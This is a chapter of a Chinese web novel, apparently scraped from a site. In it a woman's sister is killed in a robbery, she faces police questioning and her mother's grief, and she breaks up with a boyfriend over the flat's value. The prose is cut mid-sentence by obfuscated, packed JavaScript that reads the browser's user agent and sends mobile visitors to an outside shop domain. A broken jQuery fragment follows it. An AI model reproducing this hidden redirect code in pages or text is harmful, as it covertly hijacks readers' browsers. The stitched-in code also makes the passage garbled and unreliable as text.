人群自觉让开一条道。
是她吗?
担架越来越近,黎簌眼睫剧烈颤动着,鼻翼见似乎嗅到了血腥味,借着路旁的灯光,白布边角的暗红额外刺眼。
莫名的预感重重压着她心头,她浑身经络都在发抖,忍不住后退半步。
“让让。”车辆开进小区,警方指挥着梳通着人流。
担架上车时震动了下,尸首胳膊滑落,白布晃荡间皮肤寂白毫无血色,但手腕处那条手链分外晃眼。
款式和她手上正戴着的一模一样。
映照入黎簌眼眸中,血色灌注眼球,瞳孔微缩。
那是她临走前,黎晴戴在腕上的。
血淋淋的事实摆在眼前,她整颗心脏如同被水泥封住一般,沉重而窒息,眼底干痛涩胀,泪水掉不出半滴。
车门重重合上,隔绝了她的视线,带着她此生最重要的人永远离开了。
***
天已经亮了,警察局的询问室依旧黯淡无光,只点着一盏昏暗的灯。
两位警察一人询问一人记录:
“单位和职业?”
“广投公司,会计。”
“和受害者是什么关系?”
“晴晴是我的妹妹。”
“家庭成员?”
“父母离异,除了妹妹,家里只剩母亲。”
“你妹妹平时有没有和人结怨?”
“她很乖,和街坊邻居、同学间的关系都很好。”
“看下这份清单,上面记录了你报失的财物,核对一下有没有错漏。”警察说着,从打印机中抽出两张表格递给黎簌。
黎簌核对完,签字递给警察。
警察注视着清单问:“案发前,有没有什么特殊情况?”
黎簌蓦地抬头,唇线下压声音沙哑:“昨晚我下班回家时,在门口发现了一个奇怪的印记。”
“还记得样式吗?画下来。”警察说着抽出一张白纸递给黎簌。
看着黎簌纸上的图画逐渐成型,警察问:“你妹妹生前最后一通电话是和你的,当时你们聊的就是这个印记吗?”
黎簌忽然意识到什么,胸膛剧烈起伏着强自镇定,疾声追问:“这个印记会不会和凶手有关?还是根本就是凶手留下的?”
短暂地沉默后,警察语气没有半点起伏:“根据《刑法》、《刑事诉讼法》等相关法律之规定,我们不能向你透露案情,请你理解。”
“那请问什么时候会有结果?”黎簌追问。
“不便透露,有消息会第一时间通知家属,请耐心等待。”
警察又简单询问了黎簌几个问题,便打印了笔录让她签字。
黎簌双手抱膝,行尸走肉一般蹲在走廊上。
执勤的女警给她端了杯热水。
握在手中等凉了她也没喝一口,两姐妹的母亲彭老师冒雨急冲冲赶来。
“晴晴呢?!”彭老师浑身湿透,抬眼便注意到角落处的黎簌。
黎簌眼神恍惚地抬头,泪水夺眶而出唤了声:“妈。”
彭老师语气焦急又问了遍:“晴晴人呢?”
黎簌哽咽:“他们说……停在法医室……”
“法医室?”彭老师呢喃着三个字,忽觉天旋地转,扶住墙壁才勉强站稳,声音里是克制不住的颤抖,“是验伤还是验尸?”
黎簌情绪已经积蓄到顶点,泪水大滴大滴洒落,她脑子里反复复盘着:“都是我的错,我明明看到了那个印记,还留她一个人在家。我应该送她回去,不应该把她一个人留在那儿,自己去加班。或者说我就不该走,我应该和她待在一起。又或者说我打完电话就赶回家……”
眼见着黎簌整个人都要被汹涌的情绪淹没。
“糊涂!”彭老师一巴掌扇醒黎簌,而后瘦弱又坚韧的身躯绷直,手掌摇晃黎簌的肩膀,“你要让我一晚上失去两个女儿吗?”
“可是,晴晴她还那么小,那么懂事,她不该经受这些。”黎簌心里自责不已,将整张脸埋入摊开的手掌中,滚烫咸涩的泪水从指缝垂落。
“无论如何,这错都不在我们自己身上。我们唯一能做的是让凶手伏法。法医室在哪儿?你带我去。”彭老师稍微缓了一下情绪,扶着墙站起身问。
等签完了辨认笔录,两母女相互搀扶着离开。
***
没等几天,警方的电话便打了过来,通知尸检结果已经出来,让她们把遗体带回去。
经过几轮的尸检,尸体已经破败的不成样子。哪怕法医已经缝合,也只能说勉强有个人模样。
两母女根本不忍多看。
黎簌寻隙找到了主办的警官:“何警官,请问我妹妹的案子有结果了吗?”
“我们判断是入室抢劫,凶手身份还在查,有消息我们会第一时间通知你们。”
“那大概还要等多久?”
天天都被家属催,何警官说话带了点家乡口音,语气颇有些不耐烦:“我们有我们办案的节奏嘛,你们着急也没用。回家等消息吧。”
还望着他快些破案,黎簌没多做口舌之争,带着母亲离开。
辛辛苦苦养了20多年的姑娘进去,出来只剩下两捧灰。彭老师见着骨灰封罐,又忍不住哭了一场。
黎簌扶住已经熬了几宿瘦得只剩骨头的母亲,强自镇定地准备丧葬事宜。如今家里总要有人撑住。
“我来吧。”邵卓青刚从外地赶回来,整个人风尘仆仆,把行李箱放在角落里,瞧见黎簌正布置灵堂,手够不上梁柱,便去帮忙。
“警察怎么说?”
“入室抢劫。”
“人抓到没?”
“说还在查。”
将挽花重新扶正贴好,邵卓青侧过头仿佛不经意间问:“晴晴是在新房里出事的?”
黎簌弯腰整理着挽联,随口“嗯”了声。
“那你房子可不好搞,挂出去没人买,自家人也不敢住。”这可是铁定的凶宅,邵卓青愁得皱了眉头。
“你什么意思?”黎簌动作一顿,语气尽量克制。
“我寻思着等风声过去,找个熟人去外地挂牌,说不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730729|145023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
定价格少不了太多。”邵卓青抿紧唇线,觉得还是不妥,又想了个主意,“要不然找物业要个说法,先把损失填平?”
“我妹妹刚死,你就惦记我房子贬值?”黎簌心中怒气翻涌。
“她人已经死了,我们总要活下去啊。而且我这不是为了你好吗?”邵卓青眉峰隆起,厚重的镜片压在鼻梁上微微下滑,他伸手推了上去,似乎很不理解女友的情绪从何而来。
“你少扯幌子。如果死的是你亲妹妹,你的话也能说得这么轻松?”
邵卓青气笑了:“说到底,你还是不相信我。我不在乎你,不在乎你的家人,能丢掉那么一大摊子事赶回来?你是28不是18,想法能不能不要这么幼稚?”
“我幼稚?”黎簌握紧拳头扬起下巴,过去的细枝末节潮水一般浮现在眼前,“你别以为我不知道,你不就算计着我把婚前房卖了,婚后再买吗?”
脸皮被人毫不留情地扯下踩在脚底,邵卓青一张尚算清俊的脸红白交加,看上去有些狰狞。
他向来重自尊要面子,可以想,可以做,但唯独不能容忍有人戳破。而且他们本来就是奔着结婚去的,他为将来多考虑考虑有什么不对?
“黎簌,你只知道指责我,你敢说你自己心里就干干净净,没有半点算计我的想法吗?当初你买这房子我就不同意,是你自己一意孤行,现在好了,老天都看不下去!”邵卓青冷笑着字字句句都往黎簌心里戳。
“你混蛋!”悲愤交加,黎簌再也忍不住,一巴掌甩在邵卓青脸上。
邵卓青眼睛微微睁大,不可置信地伸手摸了摸肿胀的左脸:“你敢打我?我妈都没打过我。”
“打了又怎么样?你别忘了,这房子首付大半是我妈出的!你有什么资格惦记?你活该被打!”黎簌刚才没留手,掌心发麻,她不动声色地活动着手腕,强撑着和邵卓青对峙,“我不仅要打你,我还要甩了你!从今天起,我们两个完了!”
没想到黎簌竟这般果决,邵卓青顿时恼羞成怒:“甩了我好去会你的老情人对吧?我早该想到的,你们俩就没断过。你念着人家,人家想着你吗?巴巴把他送的那些东西留着有什么用,你也不对着镜子照照,就你的家世,他会娶吗?”
“你管不着。”黎簌左手扯住行礼箱,右手推搡着邵卓青,把箱子往外一扔,“现在!马上!立刻!从晴晴的灵堂上滚出去!”
箱子磕到墙角,里面的东西散落一地,邵卓青没顾得上捡,转过身放狠话:“你以为我稀罕你吗?你等着,有你后悔的时候!到时候你求我我都不回来。”
回答他的是重重甩上的门。
甚至差一点,门就撞上了他鼻梁血流当场。邵卓青后怕地捂住鼻梁,忿忿不平地收拾地上的东西离开:“疯女人,敢打我,总有一天,老子让你哭着求我。”
“簌簌,怎么了?我好像听到了卓青的声音。” 彭老师刚眯了一会儿,迷迷糊糊从里屋出来。
“没事。我已经把他打发走了。”黎簌搽去眼角沁出的泪珠,若无其事地整理着箱子里的丧葬用品。